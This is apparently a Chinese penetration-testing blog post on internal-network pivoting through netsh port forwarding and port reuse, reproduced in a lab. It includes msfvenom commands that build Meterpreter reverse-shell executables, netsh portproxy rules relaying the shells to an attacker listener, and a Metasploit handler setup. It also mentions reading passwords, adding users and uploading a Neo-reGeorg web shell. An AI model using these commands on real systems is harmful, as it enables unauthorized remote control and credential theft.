内网--端口转发以及端口复用

 

前言

前段时间在一次内网中遇到了一个问题,当时想了很多办法,虽然最终没能解决但是也学了很多东西。

现在想想也是很愁。

 

情景再现

大致情况就是现在处于192的网段然后有一个172网段机器的mssql账号(可以执行命令和上传文件),并且172网段上的这台服务器只对192这台机器开放了1433端口,需要到172的网段。

一张图简单明了。

 

端口复用

虽然最终没能解决问题,但是也是学到了不少方法来应对相似的情况。

1、netsh

netsh(Network Shell) 是一个windows系统本身提供的功能强大的网络配置命令行工具,可以查看或更改本地计算机或远程计算机的网络配置。

场景1

假如,就是说假如咱们这里放开一下限制规则

172的网段依然不出网,且只对192网段开放1433端口,但是172可以访问192的网段。那这样咱们可以通过172机器反向连接192机器然后在192机器做端口转发到攻击机器上的监听端口,这里在本地复现改了一下ip

如下图:

以及修改目标机器的防火潜规则确保其他的端口无法被访问。

使用msf生成反弹马,然后将木马上传到目标机器。

msfvenom -a x64 –platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=10.211.55.10 LPORT=6767 -i 3 -f exe -o o.exe

然后我们在10.211.5.10这台机器通过netsh设置端口转发将6767转发到攻击机的监听端口。

netsh interface portproxy add v4tov4 listenport=6767 connectport=6767 connectaddress=192.168.49.129

在攻击机上设置监听,然后在目标机器上执行木马。

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.49.129
set lport 6767

攻击机器成功收到会话。

场景2

在场景1中我们的目标机器可以随意访问我们跳板机5.10的任意端口,假如我们这边开始增加限制目标机器不能随意访问跳板机器的端口,只能访问指定端口比如:80、445、1433、1521、3306、3389、6379、8080,这其中的一个或者多个端口,如下图。

和上面一样通过ms生成反向连接马以及上传到目标服务器,设置连接端口为80.

msfvenom -a x64 –platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=10.211.55.10 LPORT=80 -i 3 -f exe -o o.exe

这里为了严谨依然通过防火墙设置端口限制,80可以访问到,其他端口均不能访问。

然后通过netsh设置端口转发。

netsh interface portproxy add v4tov4 listenport=80 connectport=6767 connectaddress=192.168.49.129

然后在目标机器上执行木马,我们通过端口连接可以看到目标机器与跳板机的80端口进行了连接且跳板机也收到连接,但是跳板机的80端口并没有转发到攻击机的监听端口,如下图。

我们攻击机也同样没有收到回话。

继续测试3306端口(只对目标机器开放3306,其他端口均禁止),步骤同上我们这边直接跳过重复步骤,直接到执行木马,然后我们可以发现msf成功的接受到了会话,如下图。

端口正常转发。

经过测试发现3306和8080可以正常的进行转发80、445、1433、3389、6379等不可转发猜测下是windows自带的一些服务可能都不支持这种情况。

场景3

我们继续增加限制条件在场景2中我们的目标机器可以访问我们跳板机5.10的个别端口,假如我们这边开始增加限制目标机器不能访问跳板机器的端口,但是我们也不是只能访问目标机器的1433,我们这次增加一个别的端口80或者3306等,如下图。

我们先讨论80端口的情况,这个就比较简单直接看是什么web服务然后上传对应的shell连接就可以了(Neo-reGeorg)。

然后是3306,我们依然可以通过netsh进行端口转发列出一个最简单的方式就是将目标机器上的3306端口转发到3389端口上。

netsh interface portproxy add v4tov4 listenport=3306 listenaddress=10.211.55.5 connectport=3389 connectaddress=10.211.55.5

然后我们可以读密码或者加用户,再通过跳板机去连接远程桌面这里直接连接3306端口。

经过测试这种情况下有很多端口是不可以这样转发的就比如iis开放的80端口,已经mssql的1433端口,但是像3306、8080这种端口是可以被转发的,所以实际不同情况需要多尝试(这里实验时差点把自己绕进去)。

2、工具

protoplex

这是一个协议复用的工具,比如命令可将本地9999端口的流量根据协议类型转到本地的2333和80端口,这里我做了一下实验,发现该工具的监听端口不能被占用也不能是3306、1433、3389这种的特殊端口。

他可以监听10.211.55.5:4444,如果是socks5协议的流量就将流量转发给10.211.55.5:9999,如果是http流量,就将流量转发给10.211.55.5:80

protoplex_windows_amd64.exe –socks5 10.211.55.5:9999 –http 10.211.55.5:80 -b 10.211.55.5:4444

其他机器访问

socks5测试不理想,最终也是没能解决这个问题。

期待找到解决办法。

(完)